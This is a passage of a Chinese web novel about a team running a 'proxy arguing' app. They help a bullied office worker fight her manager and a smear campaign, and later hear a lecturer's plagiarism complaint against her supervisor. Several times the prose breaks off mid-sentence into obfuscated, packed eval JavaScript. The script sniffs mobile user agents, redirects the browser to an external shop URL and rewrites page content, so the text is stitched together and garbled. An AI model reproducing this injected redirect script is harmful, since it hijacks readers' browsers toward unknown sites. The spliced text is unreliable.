l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239915|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在桌上。 “第一,停止对刘小燕的所有PUA行为;第二,不得以任何形式报复她;第三,如果她离职,你必须在推荐信上如实评价她的工作能力。” 陈树昌盯着那份协议,一动不动。 “我为什么要签?” 徐寄遥晃了晃手机。 “这段录音和那天的录音,加上三年的聊天记录,会一起发到你们公司大群里。” 陈树昌的脸彻底没了血色。 徐寄遥看着他,等着。 / 办公室里安静得能听见墙上挂钟的滴答声。 陈树昌站在那里,像被抽走了所有的力气。 过了很久,他伸出手,拿起那份协议。 “笔。” 吴小糖递过去一支笔。 他弯下腰,在协议上签了字。 签完之后,他把协议扔在桌上,抬起头,看着刘小燕。 “刘小燕,你厉害。” 刘小燕看着他。 三年来,她无数次想象过这一刻。想象自己站在他面前,把他加诸自己身上的屈辱全部还回去。 但此刻,她只是觉得累。 她朝门口走去。 / 电梯里,刘小燕突然蹲下来,哭了。 不是压抑的抽泣,是放声大哭。 吴小糖吓了一跳,赶紧蹲下去抱住她:“小燕姐,小燕姐你怎么了?是不是吓到了?没事了没事了!” 刘小燕哭着摇头,话都说不出来。 徐寄遥站在旁边,没有说话。 这种哭,不是害怕,是释放。 是压抑了三年的恐惧、委屈、愤怒,终于找到一个出口,一次性涌出来的那种哭。 电梯到了一楼,门开了。 刘小燕还在哭。 徐寄遥对吴小糖说:“让她哭完。” 她们就站在电梯里,任电梯门开开合合,直到刘小燕的哭声渐渐小下去。 然后刘小燕站起来,用袖子擦了擦脸,红着眼睛看向徐寄遥: “谢谢你们。” 徐寄遥摇摇头:“不是谢我们,是谢你自己。” 刘小燕愣了一下。 “是你自己决定反抗的,”徐寄遥说,“是你自己去公证的,是你自己录的音,是你自己亲口说出你闭嘴的,我们只是帮了点小忙。” 刘小燕看着她,眼泪又涌出来。 但这一次,她笑了。 阳光从大门照进来,落在刘小燕身上。 她走出去,站在阳光下,抬起头,闭上眼睛。 三年来,她第一次觉得,阳光是暖的。 / 晚上,工作室。 吴小糖买了火锅回来,说庆祝小燕姐重获自由。 刘小燕坐在沙发上,看着眼前热气腾腾的锅,有点恍惚。 “我以前,三年没吃过火锅了,”她说,“陈树昌经常说我胖,要我减肥,说会影响部门形象。” 吴小糖夹了一大筷子肥牛放她碗里:“放屁!你这身材刚刚好!吃!” 刘小燕看着碗里的肉,慢慢夹起来,放进嘴里。 然后她嚼着嚼着,又哭了。 但这次是一边哭一边笑。 俞彩虹在旁边轻轻拍拍她的肩。 应宽低头吃菜,嘴角带着笑意。 徐寄遥坐在旁边,手机响了。 是何久红的短信。 “周六12点,万和饭店,你要是敢不来,我就去你公司,当着所有人的面问你,为什么不去相亲?” 她盯着这条短信,沉默了几秒。 然后她把手机放到一边,夹起一片肉,放进锅里。 “谁啊?”吴小糖瞧出她神情的变化,凑过来问。 “我妈。” “又催相亲?”应宽问。 “嗯。” “那你明天去吗?”吴小糖满脸好奇。 徐寄遥想了想,摇头。 “不去。” “那她真来公司怎么办?”应宽轻笑。 徐寄遥也笑了,“来就来呗,让她看看,她女儿在做什么。” 吴小糖愣了一下,然后竖起大拇指: “霸气!” 应宽推了推眼镜,继续吃菜。 火锅的热气升腾起来,模糊了每个人的脸。 9. 刘小燕的困境(四):陈树昌的报复 刘小燕辞职后的第三天,报复来了。 早上七点。 刘小燕被手机震醒。 她迷迷糊糊摸过手机,看到屏幕上跳出来的消息,整个人瞬间清醒。 是同事发来的一篇小红书笔记。 《曝光!帝都某公司女员工私生活混乱,勾引领导不成反咬一口》 帖子里没有指名道姓,但配了一张打了码的照片。码打得很薄,熟悉的人一眼就能认出,是刘小燕。 刘小燕的手开始发抖。 她点开那个账号,看到对方一共发了三条笔记,每一条都是冲她来的。 第一条:文字长文,说她“表面装受害者,背地里勾引领导”,说她“私生活混乱,同时跟好几个男同事暧昧”。 第二条:配图,是她和陈树昌的聊天记录截图,但被截得只剩半截,看起来像是她在主动撩骚。 第三条:就是打码图的那篇,评论区还有自称知情人的账号爆料,说她在大学时就当过小三,被人堵在宿舍楼骂过。 每一条下面,评论区都炸了。 “太恶心了!这种女的就该曝光!” “人肉她!让她社死!” “叫什么名字?哪个公司?我要去举报!” “现在的女人真是。。自己骚还怪别人。” 刘小燕的眼泪涌出来。 她一条一条往下滑,每一条评论都像一把刀。 “我就说嘛,能被PUA的都不是好东西。” “一个巴掌拍不响,她自己肯定有问题。” “现在的女人真是,装受害者博同情。” 但也有几条质疑的: “只有我觉得不对劲吗?领导批评几句就辞职?” “有没有证据啊?就凭一张嘴说?” “理性吃瓜,等实锤。” 她翻到最后一条,是一个匿名账号发的: “问了熟人,这女的是XX公司做运营的,叫刘小燕,保真。” 刘小燕的手机啪地掉在床上。 她整个人缩成一团,抱住膝盖,浑身发抖。 / 二十分钟后,徐寄遥的手机响了。 是刘小燕打来的。电话那头,她的声音含混,几乎听不清: “徐总,他们、他们在骂我……” 徐寄遥从床上坐起来,声音立刻清醒: “慢慢说,怎么回事?” 刘小燕把帖子的事说了一遍。 徐寄遥听完,沉默了三秒。 “你现在在哪儿?” “在家。” “别出门,我让吴小糖过去接你,手机保持畅通,不要再看网上那些东西。” 挂了电话,徐寄遥立刻打给应宽: “出事了,有人在小红书发帖造谣刘小燕,很可能是陈树昌的报复行为,你马上查一下发帖IP。” 应宽的声音从电话里传来,带着没睡醒的沙哑,但已经开始敲键盘: “收到。” / 上午九点,刘小燕被吴小糖接到工作室。 她整个人缩在沙发里,脸色惨白,眼睛红肿。吴小糖给她倒了杯热水,她接过去,手抖得水都洒出来。 “我、我是不是不该反抗?”她喃喃地说,“如果我不反抗,他就不会……” “小燕,”徐寄遥打断她,声音很轻,但很坚定,“看着我的眼睛。” 刘小燕抬起头。 “你做错什么了?”徐寄遥表情笃定,“你反抗一个欺负了你三年的人,这是错吗?” 刘小燕愣住了,眼泪又涌出来。 “可是网上、都在骂我……” “骂你的人,有多少是认识你本人的?他们知道真相吗!”徐寄遥说,她已经很气愤。 俞彩虹走过来,在刘小燕旁边坐下。 “小燕,你知道网暴的心理学机制吗?” 刘小燕摇头。 “网暴的本质,是群体情绪的宣泄,施暴者不需要认识你,不需要了解真相,只需要一个靶子,你越在意,他们越兴奋;你越痛苦,他们越满足。” 她握住刘小燕的手。 这时,应宽开口了。 “查到了。” 他把屏幕转向大家。 “发帖的账号叫‘正义发声’,注册时间是昨天深夜十一点,IP地址……” 他顿了顿。 “用的是海外跳板,追不到真实地址。” 吴小糖皱眉:“海外跳板?陈树昌懂这个?” “他不懂,”应宽说,“但有人懂。” 他继续往下翻,调出另一份数据。 “我查了这个账号的发帖记录,三条笔记,发布时间分别是23:07、23:09、23:12。五分钟之内发了三条,一篇千字长文,两篇多张配图,你们觉得,陈树昌一个人能做到吗?” 徐寄遥摇头。 “意思是有人帮他弄的?” “对,”应宽说,“而且你们看这几张配图,刘小燕和陈树昌的聊天记录,这些截图,截成现在这个样子,把关键信息去掉,只留下容易误解的部分,这需要专业的修图处理。” 俞彩虹明白了:“有人帮他做的。” 应宽点头。 他继续追踪,又发现了新的东西。 “鉴于之前查到过陈树昌购买和解大师APP的VIP服务,我顺着这条线追踪了一下,果然有料。” “这个账号使用了和解大师APP的危机公关服务。”他把订单截图调出来。 徐寄遥的眼睛眯了起来。 应宽继续说:“和解大师APP的危机公关服务,包含文案生成、图片处理、水军支持、舆情监测,这是他们的一个完整套餐。” 刘小燕愣愣地看着应宽的屏幕。 吴小糖的手机忽然响了。 她接起来,听了几句,脸色变了。 “好,我知道了,你注意安全。” 挂断电话,她看向大家: “我那个在伯牙科技楼下蹲点的朋友,又看到了陈树昌。” 徐寄遥抬头:“什么时候?” “昨天下午,他刚从伯牙科技出来,跟我朋友打了个照面,”吴小糖翻出手机里的照片,“我朋友拍的。” 她把照片传给大家看。 照片里,陈树昌站在伯牙科技写字楼门口,正在跟一个穿黑色西装的男人说话。那个男人背对着镜头,看不清脸。 徐寄遥冷笑了一声。 “看起来,陈树昌是去和解大师搬救兵了。” 应宽点头。 “而且你们看这个时间线,昨天下午他现身伯牙科技,然后昨天晚上十一点,三篇笔记就发出来了。” 他顿了顿。 “我认为,和解大师的危机公关,是一站式服务,客户付钱,他们帮你搞定一切,写稿、配图、发帖、带节奏,客户只需要坐在家里等着看结果。” 徐寄遥沉默了。 她走到白板前,拿起笔,写下“和解大师APP”,又在下一行写: “危机公关:帮施害者攻击受害者” 她写完之后,退后一步,看着这些字。 “所以,这就是他们的商业模式,先通过PUA教程制造施害者,让施害者去欺负受害者,当受害者反抗的时候,他们又通过危机公关帮施害者反扑。” 俞彩虹点头: “实际上他们是两头赚钱,当受害者被网暴之后,走投无路,有可能去找和解大师APP寻求帮助,到时候,他们再推荐一个心理咨询课程,又赚一笔钱。” 应宽补充: “等受害者被榨干,终于开始反抗,施害者恶行曝光,就该被开除了,这时候,和解大师APP的‘职场推荐’服务就派上用场了,帮被开除的施害者找新工作,让他们去下一家公司继续作恶。” 徐寄遥接过话总结: “这是一个闭环,他们把所有能赚钱的点,全都占了。” 吴小糖听得后背发凉,马尾辫都被她抓炸毛了。 “心态崩了!心态崩了啊!这个世界好可怕!好可怕!还好我进了代吵!” 徐寄遥看向刘小燕。 “小燕,你现在明白了吗?你不是在跟陈树昌一个人打,你是在跟一个系统打。” 刘小燕愣愣地看着她。 “那、那我还能赢吗?” 徐寄遥走到她面前,蹲下来,看着她的眼睛。 “能,因为我们是另一个系统。” 刘小燕眼神空洞。 “徐总,那我该怎么办?” 所有人都看向徐寄遥。 徐寄遥走回白板前,写了两个字: “反击。” 她接着在白板上写下数字,“分三步。” “第一步,澄清,小燕,你用自己的小红书账号发一条声明,把事实说清楚,陈树昌怎么PUA你的,不用骂人,不用情绪化,就平铺直叙,把事实摆出来。” 刘小燕愣了一下:“我、我发?可是网友骂我……” “骂你是他们的事,发不发是你的事,”徐寄遥看着她,“你不敢发声,他们就赢了,你发声了,才有反转的可能。” 刘小燕沉默了几秒,然后点头,“我发。” “第二步,证据,”徐寄遥转向应宽,“把聊天记录的关键截图、公证处的公证书、还有陈树昌的录音,整理成一个压缩包,上传到网盘,生成公开链接。” 应宽点头:“明白。” “第三步,舆论,”徐寄遥看向俞彩虹,“彩虹姐,你认识媒体的人吗?” 俞彩虹想了想:“认识几个法治版的记者,之前采访过我的研究,可以联系一下,看他们愿不愿意跟进。” “好,”徐寄遥在白板上写完最后一笔,“就这三步,现在分头行动。” / 下午两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“证据这么硬,刚才骂主包的那些呢?出来走两步?” 第三个小时,俞彩虹联系的记者发了一篇报道。 标题是:《职场PUA三年,她终于反击》 报道详细梳理了整个事件的来龙去脉,采访了刘小燕,采访了《劳动法》专家,还引用了应宽提供的数据分析,三年1846条消息,37%的贬低性词汇。 报道发出去之后,彻底引爆了舆论。 “#职场PUA”冲上热搜第一。 “#刘小燕录音”冲上热搜第三。 “#陈树昌是谁”冲上热搜第五。 评论区彻底反转。 “支持小燕!支持维权!” “这种垃圾领导必须曝光!” “姐妹们团结起来,不能让这种人渣再祸害别人!” “小燕太勇敢了!吾辈楷模!” 还有人扒出了陈树昌的个人信息,公司、职位、照片,全部公开。 第四个小时,刘小燕的手机开始震动。 是陌生号码。 她犹豫了一下,接通。 “喂?” “请问是刘小燕女士吗?我是都市新闻的记者,想采访您……” 她挂断。 又一个电话打进来。 “刘小姐,我是一家自媒体,全网80万粉丝,想约您做个直播……” 挂断。 再打。 再挂。 手机一直在震,像一只受惊的蜜蜂。 吴小糖一把抢过手机,按了关机。 “够了够了,今天不接了!” 刘小燕看着她,忽然笑了。 那笑容里有疲惫,有释然,也有一种奇怪的东西。 像光。 / 晚上十点,工作室终于安静下来。 刘小燕躺在沙发上,盖着羽绒被,已经睡着了。她睡得很沉。 吴小糖坐在旁边,守着她。 应宽还在看数据。 今天的订单又涨了一波。 不是因为陆琳,是因为刘小燕的事。 后台显示,新增用户里有不少人在搜索“职场PUA”“反PUA”“被领导欺负怎么办”。 俞彩虹在写笔记。 她说这是她研究二十年来,见过的最典型的网络舆论反转案例,要记下来。 徐寄遥站在窗边,看着外面的夜景。 手机亮了。 是何久红的短信。 “相亲不去!你太不听话了!” 她看着这条消息,沉默了。 10. 刘小燕的困境(五):小燕成长了 舆论发酵的第三天,陈树昌被公司开除了。 消息是前同事发过来的,一张公司内部公告的截图。 刘小燕盯着那张截图,愣了很久。 截图上的字她看了好几遍,才真正看清内容: 【《关于解除陈树昌劳动合同的决定》】 【经查,本公司原部门经理陈树昌在任职期间,存在职场霸凌、非法限制员工人身自由等严重违纪行为,造成恶劣社会影响。根据公司相关规定,决定解除其劳动合同,永不录用。】 【本公司对此事件深表歉意,并将以此为鉴,全面加强员工权益保护机制建设。】 落款是公司人力资源部,日期是昨天。 吴小糖凑过来看了一眼:“哇!开除了!活该!” 刘小燕没有说话。 她想起那些被骂得抬不起头的会议,想起那些失眠的夜晚,想起那些“我不行”“我很差”“我活该”的念头。三年,一千多个日夜,那些声音像刻在脑子里一样,怎么都挥不去。 现在,这个人被开除了。 但奇怪的是,她没有想象中的开心。 心里空落落的,像被掏走了一块。 “小燕姐?”吴小糖看她发呆,有点担心,“你没事吧?” 刘小燕摇摇头,放下手机。 “没事,”她说,声音很轻,“就是……有点空。” / 月底,刘小燕带着一面锦旗来到工作室。 锦旗是红色的,绒布的质地,上面绣着两行金黄色的字。针脚很密,看得出是定做的。 “代吵师,数字时代的正义守护者” 她把锦旗递给吴小糖。 “送给你们的。” 吴小糖展开锦旗,眼睛亮得像灯泡。 “哇!!!你们快来看!” 应宽从电脑前抬起头,看了一眼,嘴角微微上扬。他没说话,但眼神里有一点平时很少见的温度。 俞彩虹走过来,仔细端详着那行字,笑着点点头。 “这面锦旗,咱们当之无愧。” 徐寄遥最后走过来。她看了看那行字,然后看向刘小燕。 “小燕,这不是我们的功劳,是你自己的。” 刘小燕摇头。 “没有你们,我还在那个会议室里发抖,还在那里听他说‘你这种人,只有我愿意用你’,还在那里怀疑自己,是不是真的那么差。” 她顿了顿,认真地说: “是你们让我知道,我可以反抗。是你们让我知道,不是我的问题,是他的问题。” 徐寄遥看着她,沉默了几秒。 然后她伸出手,和刘小燕握了一下。 “以后有什么事,随时来。” 刘小燕点头,眼眶红红的,但笑着。 / 锦旗挂在工作室最显眼的位置,正对着白板。 阳光从窗户照进来,落在金黄色的字上,闪闪发光。 吴小糖站在锦旗下面,仰着头看了半天。 “小燕姐,你知道吗?你送的这个,是我们代吵的第一面锦旗!” 刘小燕笑了。 “那我这个第一,还挺有意义的。” 她走到沙发边坐下,吴小糖立刻凑过去。 “小燕姐,你接下来有什么打算?” 刘小燕的笑容顿了顿。 她低下头,看着自己的手。那双手曾经在会议室里抖得握不住笔,现在安安静静地放在膝盖上。 “我、我也不知道,”她的声音很轻,“工作已经辞了,现在也没有找新工作的心情。每天醒来,脑子都是空的,躺在床上,就一直盯着天花板发呆,不知道要干什么,也不知道该想什么。” 吴小糖不知道该说什么,只是坐在她旁边陪着。 俞彩虹走过来,在刘小燕对面坐下。 “小燕,你现在这种感觉,很正常。” 刘小燕抬起头,看着她。 俞彩虹的声音很温和,像在讲一堂课,但又不像在讲课,更像是在聊天。 “心理学上,这叫创伤后重建期,你刚刚经历了一场持续三年的精神暴力,又经历了一场舆论风暴,你的身体和心理都在告诉你,你需要停下来,需要休息。” 刘小燕的眼眶红了。 “可是,我不知道要停多久,也不知道停下来之后该干什么。” 俞彩虹点点头。 “不知道就对了,你现在不需要知道。” 刘小燕愣住了。 “不需要知道?” “是的,”俞彩虹说,“你现在要做的,不是找答案,是给自己时间,就像骨折之后需要打石膏,你现在也需要给自己打一个心理石膏。” 她顿了顿,声音更温和了: “很多人以为,创伤之后应该立刻振作,立刻找到新的方向,但这是错的。心理创伤的修复,需要时间,你强迫自己往前走,反而会走得更慢。” 刘小燕听着,眼泪慢慢流下来。 但她没有擦。 “至于以后干什么,”俞彩虹继续说,“会在你恢复的过程中,慢慢浮现出来的,你不用急,也不用怕,你现在要做的,就是每天醒来,问自己一句,‘今天想干什么’,如果什么都不想干,那就什么都不干。” 刘小燕点点头。 “谢谢俞老师。” 徐寄遥走过来,在俞彩虹旁边坐下。 “小燕,我有个想法,想听听你的意见。” 刘小燕擦了擦眼泪,看着她。 “你说。” “你这几天在小红书上发的那些东西,效果很好,很多人看了,都说有帮助,”徐寄遥说,“你有没有想过,继续做这个?” 刘小燕愣了一下。 “做、做什么?” “写东西,分享你的经历,分享你怎么走出来的,不用急着找工作,就先试试这个。” 刘小燕沉默了几秒。 “可是,我不知道能不能写好,我从来没写过东西,上学的时候作文都是及格线。” 徐寄遥摇摇头。 “你不用写得好,你只需要写得真。” 她指了指手机屏幕上的评论区: “你看这些留言,他们不是因为你的文笔好才感动,是因为你说的那些话,让他们觉得自己不是一个人,让他们知道,原来有人跟自己一样。原来不是自己有问题。” 刘小燕看着那些评论,眼眶又红了。 “可是,做这个能赚钱吗?” 徐寄遥笑了。 “你先想一件事,你想不想做?” 刘小燕沉默了很久。 她想起那些私信,想起那些“谢谢你让我知道不是我的错”,想起那些“看了你的经历我哭了”。 然后她点点头。 “想。” 俞彩虹在旁边补充道: “小燕,你现在的状态,其实最适合做这件事。” 刘小燕看着她。 “为什么?” “因为你没有目的,”俞彩虹说,“你不是为了赚钱,不是为了出名,你只是想说出来,这种状态,最容易打动人,没有功利心,反而最能让人感受到真诚。” 她往前探了探身,继续说: “而且,写作本身就有疗愈作用,你把经历写出来,就是把那些压抑的东西释放出来,那些话在心里憋了三年,你写出来,它们就出来了,你帮了别人,也帮了自己。” 刘小燕听着,眼睛里慢慢有了光。 “那我、应该从哪开始写呢?” 徐寄遥说:“就从你现在最想说的开始,今天想说什么就写什么,明天想说什么再写什么。不用规划,不用设计,想写长就写长,想写短就写短,甚至不想写,就不写。” 她顿了顿。 “你就做一件事,每天写一点,不用管写得好不好,也不用管有没有人看,坚持写三个月,看看会发生什么。” 刘小燕点点头。 “嗯,我试试。” / 下午两点,刘小燕打开小红书,开始写。 她写了很久。写写删删,删删写写。 有时候写了一行,觉得不好,删掉重写。有时候写了半天,最后全部删掉。有时候盯着空白的输入框发呆,不知道从哪下笔。 吴小糖在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239917|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着,忍不住问: “小燕姐,你在写什么?” 刘小燕头也不抬: “写今天早上醒来时的感觉。” “什么感觉?” “空,”刘小燕说,“醒来之后,躺在床上,盯着天花板,我就想,我今天要干什么呢。想了半天,发现没什么可干的。” 她继续打字。 “以前每天醒来,第一件事是想今天会不会被骂,如果没被骂,就会松一口气,如果被骂了,就会一整天都提不起劲,现在不用想了,但也不知道该想什么了,盯着天花板,一个小时就过去了。” 吴小糖听着,眼眶有点红。 “小燕姐……” 刘小燕抬起头,笑了笑。 “没事,我就是写出来。” 她继续打字,把早上发呆的感觉一个字一个字敲出来。 写完最后一行,她检查了一遍,没有改,直接点击发布。 标题是: 《辞职第三天,我盯着天花板发了一小时呆》 / 晚上,刘小燕打开小红书,发现笔记下面多了两百多条评论。 她一条一条往下翻。 “我也是!辞职之后每天不知道干什么!” “原来不是只有我这样……” “小燕姐加油,慢慢来,不着急。” “看了你的笔记,我决定也给自己放个假。” “我一直以为只有我会发呆,原来大家都一样。” 刘小燕一条一条看着,嘴角慢慢上扬。 吴小糖凑过来看,也跟着笑。 “小燕姐,你看,好多人跟你一样!” 刘小燕点点头。 “我以前觉得自己是个异类,觉得自己有问题,才会发呆,才会不知道干什么,原来,大家都差不多。” 俞彩虹在旁边说: “这就是正常化的过程,你以为只有自己这样,说出来才发现,很多人都这样,这种‘原来不是我一个人’的感觉,本身就是疗愈。” 她顿了顿。 “创伤后的人,最怕的就是觉得自己不正常,觉得自己应该振作,应该坚强,应该知道下一步怎么走,但其实,不知道才正常,迷茫才正常,发呆才正常。” 刘小燕看着她,眼眶又红了。 但这一次,是释然的眼泪。 / 第二天早上,刘小燕发来消息。 “徐总,我昨天那条笔记,已经有七百多个赞了。” 徐寄遥看着那条消息,嘴角微微上扬。 她回复:“继续写。” 刘小燕回了一个笑脸。 过了一会儿,她又发了一条: “谢谢代吵团队。” 徐寄遥看着那六个字,沉默了几秒。 然后她回复: “主要是感谢你自己。” 发完,她放下手机,走到窗边。 窗外,阳光很好。初春的阳光不烈,照在身上暖洋洋的。 工作室里,锦旗挂在最显眼的位置,金黄色的字在阳光下闪闪发光。 吴小糖凑过来:“寄遥姐,你在想什么?” 徐寄遥没有回答。 她在想,如果当年22岁的自己,也能遇到一个代吵师,会是什么样? 也许就不会有那些失眠的夜晚。 也许就不会有那句“没人要”,一直扎在心底,十年。 但她转念一想。 如果没有那些,那也没有今天的自己。 “徐总,想什么呢?”应宽的声音从背后传来。 徐寄遥回过头,看着他。 应宽指了指电脑屏幕: “后台很多人在排队哦。” 屏幕上,待处理的订单列表里,躺着几百个等待帮助的人。 每一个数字背后,都是一个真实的人,一段真实的痛苦,一个真实的故事。 吴小糖撸起袖子:“来吧!下一个是谁?” 俞彩虹笑着拿起茶杯:“我先准备好茶,你们慢慢看。” 徐寄遥走回自己的位置,坐下。 新的故事,正要开始。 11. 罗贝妮的困境(一):学术霸凌(上) 2025年3月2日,早上九点。 徐寄遥走进客厅的时候,应宽已经在了。他盯着屏幕,眉头微皱。 “寄遥,你看这个。” 徐寄遥走过去,看到后台的统计数据。 日订单量:2537单。 她愣了一下。 “两千五了?” “对,”应宽说,“而且你看这个分类。” 他调出一张饼图。 网暴类订单:634单,占比25%。 徐寄遥盯着那个数字,沉默了几秒。 “四分之一。” “嗯,”应宽说,“每四个来找我们的人,就有一个是被网暴的,这个比例还在上升。” 吴小糖正好推门进来,听到这句话,皱起眉头。 “怎么这么多?” 俞彩虹跟在后面,放下包,看了一眼屏幕。 “网络时代的副作用,”她说,“表达的成本变低了,攻击的成本也变低了。” 徐寄遥走到白板前,拿起笔,写下几个字: 【网暴 25%】 她在下面画了一道横线。 “这不是暂时现象,”她说,“这是趋势。” / 下午两点,吴小糖从外面推门进来,身后跟着一个女人。 三十出头的样子,穿一件灰色的呢子大衣,头发扎成低马尾。五官清秀,但脸色很差, 她站在门口,没往里走,只是往里张望, “寄遥姐,”吴小糖说,“这位老师说要找‘以德服人’。” 徐寄遥抬起头,看着她。 那女人的眼神躲闪了一下,然后又鼓足勇气对上徐寄遥的目光。 “我是‘以德服人’,请坐吧。”徐寄遥指了指沙发。 那女人走过去,在沙发上坐下,只坐了三分之一,整个人紧绷着。她的手不知道该放在哪里,最后紧紧攥住随身带的包包带子,指节发白。 吴小糖倒了杯水递给她,笑着说:“我是‘金刚芭比’。” 女人一愣,挤出一个浅笑,小声说了句谢谢,接过水杯握在手里。 “我是代吵APP的创始人,徐寄遥,”徐寄遥在她对面坐下,“您怎么称呼?” 那女人开口,声音沙哑得像砂纸划过木板: “我叫罗贝妮。” 她顿了顿,眼眶红了。 “我偶然看到了你们的APP,就冒昧找过来了。” 徐寄遥没有急着问,只是看着她。 罗贝妮的手在发抖,水杯里的水跟着轻轻晃动。 “您慢慢说,”徐寄遥说,“不着急的。” 罗贝妮点点头,又深吸一口气,像是在给自己打气。 她开始说: “我是启元大学社会学系的讲师。” “我的导师,也是我的领导,”她开口,声音很轻,“叫张凌烽。” 她顿了顿。 “前不久,他刚当上我们院的院长。” 俞彩虹本来在角落里看书,听到这个名字,抬起头。 “张凌烽?”她问,“启元大学社会学系的张凌烽?” 罗贝妮愣了一下,看着俞彩虹。 “您认识他?” 俞彩虹没有直接回答,只是放下书,走过来在罗贝妮旁边坐下。 “嗯,我以前在高校待过,听说过张凌烽,”她说,声音平静得像一潭深水,“你好,罗老师,我在代吵APP叫‘局内人’,俞彩虹。” “您好,俞老师。”罗贝妮点点头,继续说下去。 但她的手,抖得更厉害了。 / “事情要从去年年底说起。”罗贝妮说。 她的声音很轻,像是在讲述一段不愿意回忆的往事。 “去年12月初,学校官网发了一条消息:社会学系副院长张凌烽教授,凭借一项突破性的研究成果,成功当选社会学系院长。” “我当时看到消息,很为他高兴,我导师当副院长多年,两次晋升院长都没评上,就是因为最近五年,他始终缺乏有份量的学术研究。” 她低下头,盯着手里的水杯。杯中的水已经不再晃动,但她的人还在抖。 “所谓的突破性研究成果,就是他在《社会学研究》上发表了一篇论文,题目叫《当代中国底层社会代际贫困的传递机制与破解路径》,那是社会学领域最顶级的期刊之一,发一篇够吃十年。” “当时,媒体广泛报道,说这篇论文‘揭示了贫困代际传递的核心机制’‘为解决贫富差距提供了理论依据’‘填补了国内研究的空白’,论文发表以后的那段时间,导师接受了好几家主流媒体的采访,风头一时无两。” “然后我点开了那篇让他当选院长的论文。” “我读着读着,感觉到不对劲。” 她的声音开始发抖,抬起头,眼眶已经红了。 “论文的核心观点、研究方法,都让我觉得……眼熟,非常眼熟。” “然后我突然意识到。” 她停顿了一下,像是在确认自己真的要说出这句话。 “那是我2020年写的一篇论文。” 工作室里安静了一瞬。 吴小糖的嘴巴张了张,又闭上了。 徐寄遥的眉头微微动了一下,但没有说话。 俞彩虹的表情没有任何变化,但她的眼神变得更深了。 罗贝妮从包里拿出一个平板电脑,动作很慢,像是拿着什么易碎的东西。 “这是我的原始论文草稿,2020年3月完成的,题目叫《底层社会代际贫困的形成机制——基于中部某省三个贫困村的田野调查》。” 她翻出一份文档,递给徐寄遥。 “这是我导师去年发表的论文,我从知网下载的。” 她又翻出另一份文档。 徐寄遥接过去,并排放在茶几上。 吴小糖凑过来看了一眼,又缩回去了。 “我看不太懂,但这确实……挺像的?” 俞彩虹接过去,认真看了几分钟。 她的目光在两篇论文之间来回移动,像一台精密的扫描仪。 然后她抬起头,看着罗贝妮。 那目光里有一种复杂的东西,不是同情,不是愤怒,而是某种更深沉的、经历过类似事情的人才有的理解。 “核心观点完全一致:贫困的代际传递,关键不在于经济资源,而在于文化资本和社会资本的缺失;研究方法一模一样:三年跟踪调查,深度访谈,参与式观察,最后提炼出‘贫困文化再生产’的理论模型;连田野调查选的点,都是同一个省份的三个贫困村。” 她顿了顿。 “罗老师,这不是巧合。” / 罗贝妮的眼泪流得更凶了。但她没有出声,只是任由眼泪划过脸颊,滴在衣襟上。 “我当时也是这么想的,”她的声音沙哑,“我反复对比了好几遍,越对比越确定。” “我在学校已经待了八年,那是我从2019年到2020年,花了整整一年时间写出来的博士毕业论文,当年我博二,为了那篇论文的研究,在那三个村子里待了半年,吃住都在老乡家,夏天蚊虫叮咬,冬天冷得睡不着,我用光了所有的积蓄,就为了拿到第一手资料。” 她说着,眼泪流得更凶。 “论文初稿写完之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239918|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我第一个发给导师看,请他指导,那是我第一次写这种规模的论文,心里没底。” “他看了之后,把我叫到办公室。” 罗贝妮的眼神变得空洞,像是在回忆一段很久远的往事。 “他说,小罗啊,这个选题太大,你驾驭不了,方法倒是没问题,但结论太悲观了,发出去对你没好处;他说,你要是用这个选题,毕业没问题,但想留校任教,基本不可能;他还说,你这么年轻,换个更有前途的研究方向吧。” “我当时特别难过,我花了整整一年,吃了那么多苦,结果他说不行。” “但是,我还是听了他的话,换了选题,又花了三个月写了第二篇博士毕业论文;被导师否定的那个选题,我再也没有碰过。” 她低下头。 “直到去年年底,我看到他的论文。” 徐寄遥沉默了几秒。 “你找导师沟通过吗?” 罗贝妮点点头。 “找了,今年1月10日,我去他办公室。” 她的声音变得很轻,像是在讲述一场噩梦。 “那天下着小雨,我记得很清楚,我站在他办公室门口,深呼吸了好几次,才鼓起勇气敲门。” “我说,张老师,我看了您新发表的论文,核心观点和我那篇被你否了的毕业论文特别像。” “他当时正在批文件,听到这话,抬起头,笑着看着我,他那个笑容我现在还记得。” “他说,是吗?我完全没印象,你把你说的论文发给我看看。” “我说,老师,如果真的是……” “他打断我,还是笑着的说,‘小罗,你先回去,等我看了你说的论文,再找你。” “我点点头,把论文发给他就走了。” 徐寄遥看着她。 “然后呢?” 罗贝妮低下头,沉默了很长时间。 